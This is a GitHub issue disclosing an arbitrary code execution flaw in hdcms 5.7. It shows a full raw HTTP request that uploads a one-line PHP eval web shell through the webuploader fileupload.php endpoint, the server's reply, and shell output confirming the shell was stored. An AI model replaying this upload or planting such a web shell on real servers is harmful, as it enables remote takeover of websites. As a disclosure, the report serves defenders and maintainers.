houdunwang / hdcms Public

Code | Issues 6 | Pull requests 45 | Actions | Projects 1 | Security

New issue

Jump to bottom

There is an Arbitrary Code Execution vulnerability #6

Open MRdoulestar opened this issue on Jun 28, 2019 · 0 comments

MRdoulestar commented on Jun 28, 2019

In hdcms 5.7, attacker can upload evil file via /js/hdjs/package/webuploader/server/fileupload.php, which leads to Arbitrary Code Execution vulnerability.

Request

Raw | Params | Headers | Hex

```
POST /js/hdjs/package/webuploader/server/fileupload.php HTTP/1.1
Host: 10.211.55.6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:
http://10.211.55.6/js/hdjs/package/webuploader/examples/image-upload
/index.html
Content-Type: multipart/form-data;
boundary=---------------------------187759767616594315146953322 09
Content-Length: 731
Connection: keep-alive

-----------------------------187759767616594315146953322 09
Content-Disposition: form-data; name="name"

t.php
-----------------------------187759767616594315146953322 09
Content-Disposition: form-data; name="type"

text/php
-----------------------------187759767616594315146953322 09
Content-Disposition: form-data; name="lastModifiedDate"

2019/6/28 上午10:01:46
-----------------------------187759767616594315146953322 09
Content-Disposition: form-data; name="size"

31
-----------------------------187759767616594315146953322 09
Content-Disposition: form-data; name="file"; filename="t.php"
Content-Type: text/php

<?php
@eval($_POST["cmd"]);
?>
```

Response

Raw | Headers | Hex

```
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 29 Jun 2019 01:12:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 29 Jun 2019 01:12:24 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 49

{"jsonrpc" : "2.0", "result" : null, "id" : "id"}
```

```
root@yunsle-Parallels-Virtual-Platform:/var/www/html/public/js/hdjs/package/webuploader/s
erver# pwd
/var/www/html/public/js/hdjs/package/webuploader/server
root@yunsle-Parallels-Virtual-Platform:/var/www/html/public/js/hdjs/package/webuploader/s
erver# ls upload
t.php
root@yunsle-Parallels-Virtual-Platform:/var/www/html/public/js/hdjs/package/webuploader/s
erver# cat upload/t.php
<?php
@eval($_POST["cmd"]);
?>
root@yunsle-Parallels-Virtual-Platform:/var/www/html/public/js/hdjs/package/webuploader/s
erver#
```

10.211.55.6/js/hdjs/package/webuploader/server/upload/t.php

上路 常用网址 天猫618 京东商城 最常访问 火狐官方站点 新手上路 常用网址 Error 京东商城

PHP Version 7.3.6-1+ubuntu16.04.1+deb.sury.org+1

System	Linux yunsle-Parallels-Virtual-Platform 4.15.0-51-generic #55~16.04.1-Ubuntu SMP Thu May 16 09:24:37 UTC 2019 x86_64
Build Date	May 31 2019 11:06:26
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/7.3/fpm
Loaded Configuration File	/etc/php/7.3/fpm/php.ini
Scan this dir for additional .ini files	/etc/php/7.3/fpm/conf.d

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant